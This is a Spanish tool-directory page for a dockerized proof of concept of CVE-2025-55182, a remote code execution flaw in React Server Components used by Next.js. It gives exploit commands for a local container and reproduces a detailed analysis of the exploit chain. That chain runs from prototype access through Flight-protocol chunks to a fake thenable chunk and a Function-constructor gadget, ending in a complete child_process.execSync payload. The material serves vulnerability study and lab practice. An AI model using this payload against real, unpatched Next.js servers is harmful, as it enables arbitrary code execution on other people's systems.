Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182-Dockerized — Prueba de concepto dockerizada para CVE-2025-55182, una RCE crítica en React Server Components mediante contaminación de prototipos, con scripts de explotación automatizados y un entorno de prueba vulnerable de Next.js. | Kitploit
Herramientas/GitHubGitHub/clevernyyyy/cve-2025-55182-dockerized
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHubclevernyyyy/cve-2025-55182-dockerized

CVE-2025-55182-Dockerized

Prueba de concepto dockerizada para CVE-2025-55182, una RCE crítica en React Server Components mediante contaminación de prototipos, con scripts de explotación automatizados y un entorno de prueba vulnerable de Next.js.

Ver Repositorio
14hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-55182 - Prueba de Concepto Dockerizada

Este repositorio contiene una prueba de concepto dockerizada para CVE-2025-55182, una vulnerabilidad crítica de ejecución remota de código en React Server Components (RSC) que afecta a aplicaciones Next.js que usan Server Actions.

Créditos

La prueba de concepto original y el análisis de la vulnerabilidad fueron creados por msanft. Este repositorio extiende su trabajo proporcionando un entorno de pruebas dockerizado para facilitar la experimentación y demostración.

Inicio Rápido

Prerrequisitos

  • Docker instalado y en ejecución
  • Python 3 con la librería requests (pip install requests)

Ejecutar el Exploit

  1. Inicia el servidor Next.js vulnerable:

    root@kitploit:~
    docker compose up --build -d
    
  • Espera a que el servidor se inicie (revisa los logs con docker compose logs -f nextjs-server)

  • Ejecuta el exploit:

    root@kitploit:~
    # Script automatizado (recomendado)
    ./exploit-docker.sh
    
    # O manualmente
    ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
    python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
    
  • Verifica que el exploit funcionó:

    root@kitploit:~
    docker compose exec nextjs-server ls -la /tmp/rce_test
    
  • Comandos de Ejemplo

    root@kitploit:~
    # Crear un archivo
    python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
    
    # Escribir en un archivo
    python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"
    
    # Verificar el usuario actual
    python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"
    
    # Verificar resultados
    docker compose exec nextjs-server cat /tmp/rce_output
    docker compose exec nextjs-server cat /tmp/rce_user
    

    Notas Importantes

    • ⚠️ Los errores de timeout son ESPERADOS - indican que la RCE se ejecutó correctamente
    • El servidor se cuelga después de ejecutar el comando, lo que provoca el timeout HTTP
    • Los comandos se ejecutan como el usuario nextjs (UID 1001) dentro del contenedor
    • Los archivos se crean dentro del sistema de archivos del contenedor, no en el host

    Configuración Docker

    Este repositorio incluye una configuración Docker completa para probar la vulnerabilidad:

    • docker-compose.yml - Configuración de Docker Compose
    • test-server/ - Aplicación Next.js vulnerable
    • test-server/Dockerfile - Dockerfile de producción
    • test-server/Dockerfile.dev - Dockerfile de desarrollo (opcional)

    El servidor vulnerable ejecuta Next.js 16.0.6 con una Server Action simple que puede ser explotada.

    Archivos

    • poc.py - Script de prueba de concepto en Python (original de msanft, con correcciones de escape de comillas)
    • exploit-docker.sh - Script de exploit automatizado para entorno Docker
    • DOCKER_SETUP.md - Documentación completa de configuración Docker

    Limpieza

    root@kitploit:~
    # Detener el contenedor
    docker compose down
    
    # Eliminar todo (incluyendo volúmenes)
    docker compose down -v
    

    Análisis Original de la Vulnerabilidad

    A continuación se proporciona el análisis detallado de la vulnerabilidad, la cadena de explotación y la información del parche de la investigación original.


    Investigación Original por msanft

    Esta vulnerabilidad permite RCE en React Server Functions, por ejemplo, las ofrecidas por Next.js a través de referencias inseguras al prototipo.

    No soy un experto en React o Next.js, así que toma toda la información aquí con cautela. Además, todavía estoy en el proceso de análisis, por lo que lo que describo a continuación como "la vulnerabilidad" podría ser solo una pequeña parte de la cadena completa.

    Antecedentes

    React ofrece Server Functions1, que pueden verse como una especie de RPC sobre HTTP. Pueden usarse para obtener datos de pares adyacentes para asegurar baja latencia, o realizar solicitudes autenticadas para las que el cliente carece de credenciales.

    React utiliza algo llamado React Flight Protocol2 para la serialización de valores pasados a Server Functions.

    El cliente pasa "chunks" al servidor, por ejemplo, mediante datos de formulario:

    root@kitploit:~
    files = {
        "0": (None, '["$1"]'),
        "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
        "2": (None, '{"fruitName":"cherry"}'),
    }
    

    Como se muestra, estos pueden tener referencias entre sí. El payload anterior se deserializa en el servidor de la siguiente manera:

    root@kitploit:~
    { object: 'fruit', name: 'cherry' }
    

    El formato en sí es un poco más complejo y permite una serialización y deserialización más complejas, pero esto proporciona una comprensión básica para la vulnerabilidad real.

    Vulnerabilidad

    Hasta este commit3, al recorrer chunks en la resolución de referencias, como obtener fruitName del chunk 2 en el ejemplo anterior, React no verificaba si la clave solicitada estaba realmente establecida en el objeto. Esto permitía obtener el prototipo del objeto4.

    Esto se puede demostrar con un payload como este:

    root@kitploit:~
    files = {
        "0": (None, '["$1:__proto__:constructor:constructor"]'),
        "1": (None, '{"x":1}'),
    }
    

    Que se deserializa en el constructor de la función5:

    root@kitploit:~
    [Function: Function]
    

    Cuando el chunk con ID 0 no es un array sino un objeto, podemos establecer la clave then en el constructor de la función. Luego, decodeReplyFromBusboy devuelve el objeto y Next.js lo espera (await):

    root@kitploit:~
    // action-handler.ts:888 (pre-patch)
    boundActionArguments = await decodeReplyFromBusboy(
        busboy,
        serverModuleMap,
        { temporaryReferences }
    )
    

    Cuando esto devuelve un thenable, el await en la llamada lo ejecutará. Esto es lo que sucede con este payload:

    root@kitploit:~
    files = {
        "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
        "1": (None, '{"x":1}'),
    }
    

    Lo que lleva a este error:

    root@kitploit:~
    SyntaxError: Unexpected token 'function'
        at Object.Function [as then] (<anonymous>) {
          digest: '1259793845'
        }
    

    El error se ve así porque V8 llama a una función awaited con las funciones internas resolve y reject, que al convertirlas a toString se serializan en algo como esto:

    root@kitploit:~
    function () { [native code] }
    

    Explotación

    Como podemos recuperar trivialmente el constructor Function, la forma directa es encontrar un gadget de llamada que invoque el constructor con un valor controlado por el usuario (es decir, el código de la función como cadena) y luego llame a la función devuelta.

    Hay varios lugares que pueden llamar al constructor de la función, por ejemplo resolveServerReference, donde id es un objeto controlado, y lastIndexOf puede sobrescribirse para devolver una cadena controlada por el usuario (por ejemplo, a través de Array.prototype.join) y slice puede sobrescribirse con el constructor de la función. Sin embargo, este lugar no funciona porque la segunda invocación de .slice() proporciona un número como primer argumento, que, según mi conocimiento, nunca puede ser manejado por el constructor de la función.

    Aquí viene una idea brillante de maple31426. Cuando getChunk toma el chunk en el ID 0 como referencia raíz para comenzar a resolver la cadena de referencias, este mismo chunk puede resolverse a un "fake chunk" manipulado.

    Podemos referenciar el chunk manipulado 0 en el chunk 1 usando la sintaxis $@, que devuelve el chunk "crudo", no su valor resuelto:

    root@kitploit:~
    case "@":
      return (
        (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
      );
    

    Combinando esto con nuestra sobrescritura de then de arriba, podemos construir algo como esto:

    root@kitploit:~
    files = {
        "0": (None, '{"then": "$1:__proto__:then"}'),
        "1": (None, '"$@0"'),
    }
    

    Aquí, el chunk 0 sobrescribe su propio .then() con el .then() de su propia representación cruda de chunk. En pocas palabras, sobrescribimos nuestro propio .then() con Chunk.prototype.then, que existe, ya que los Chunks son thenables:

    root@kitploit:~
    Chunk.prototype.then = function (resolve, reject) {
          switch (this.status) {
            case "resolved_model":
              initializeModelChunk(this);
          }
          // ...
    

    Con el payload anterior, Chunk.prototype.then se llama eventualmente con el chunk manipulado con ID 0.

    Como se muestra arriba, cuando .status en nuestro chunk fake es resolved_model:

    root@kitploit:~
    files = {
        "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
        "1": (None, '"$@0"'),
    }
    

    Entramos en initializeModelChunk. Aquí, .value se analiza como JSON y luego se resuelven referencias en el objeto devuelto, usando el contexto "externo" de nuestros chunks con IDs 0 y 1:

    root@kitploit:~
    function initializeModelChunk(chunk) {
        // ...
        var rawModel = JSON.parse(resolvedModel),
            value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
        // ...
    

    Dentro de esto, ahora tenemos una segunda pasada de evaluación con algunos valores adicionales a los que tenemos acceso debido a que el contexto externo ya está resuelto.

    Hay un gadget de llamada en el manejo de datos blob con el prefijo $B en el protocolo flight:

    root@kitploit:~
    case "B":
      return (
        (obj = parseInt(value.slice(2), 16)),
        response._formData.get(response._prefix + obj)
      );
    

    Usando el campo especial _response, controlamos la propiedad response del chunk manipulado:

    root@kitploit:~
    // in initializeModelChunk
    value = reviveModel(chunk._response, // ...
    

    Con esto, podemos construir un objeto con propiedades ._formData y ._prefix falsas:

    root@kitploit:~
    crafted_chunk = {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": '{"then": "$B0"}',
        "_response": {
            "_prefix": f"return foo; // ",
            "_formData": {
                "get": "$1:constructor:constructor",
            },
        },
    }
    

    Es necesario agregar .reason para evitar fallar en la invocación de toString en initializeModelChunk:

    root@kitploit:~
    var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;
    

    Al apuntar ._formData al constructor de la función y ._prefix a nuestro código, obtenemos un gadget de invocación para el constructor de la función en la deserialización de blob:

    root@kitploit:~
    response._formData.get(response._prefix + "0")
    // se convierte en
    Function("return foo; // 0")
    

    Nuestra función manipulada se devuelve entonces como el método .then() del chunk manipulado, que también se espera, ya que todo esto ocurre en una sola cadena de resolución de promesas. Por lo tanto, al devolver un thenable, nuestra función manipulada se ejecuta. Esto constituye el gadget de llamada requerido mencionado anteriormente.

    Poniendo todo esto junto con un payload RCE real, obtenemos algo como esto:

    root@kitploit:~
    crafted_chunk = {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        # "reason": -1,
        "value": '{"then": "$B0"}',
        "_response": {
            "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
            "_formData": {
                "get": "$1:constructor:constructor",
            },
        },
    }
    
    files = {
        "0": (None, json.dumps(crafted_chunk)),
        "1": (None, '"$@0"'),
    }
    

    Parche

    El uso de referencias a chunks para recuperar propiedades del prototipo se soluciona con esta verificación:

    root@kitploit:~
    @@ -78,7 +80,10 @@ export function preloadModule<T>(
     
     export function requireModule<T>(metadata: ClientReference<T>): T {
       const moduleExports = parcelRequire(metadata[ID]);
    -  return moduleExports[metadata[NAME]];
    +  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
    +    return moduleExports[metadata[NAME]];
    +  }
    +  return (undefined: any);
    }
    

    Preguntas pendientes

    • ¿Por qué el aviso de React7 menciona que esta vulnerabilidad podría activarse incluso sin declarar activamente server functions? ¿Hay otras cosas que se convierten en server functions bajo el capó?

    Footnotes

    1. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩

    2. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩

    3. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩

    4. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/developer.mozilla.org/es/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩

    5. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/developer.mozilla.org/es/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩

    6. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/x.com/maple3142%3E ↩

    7. https://raw.githubusercontent.com/clevernyyyy/cve-2025-55182-dockerized/main/%3Chttps:/react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components%3E ↩

    Descargar herramienta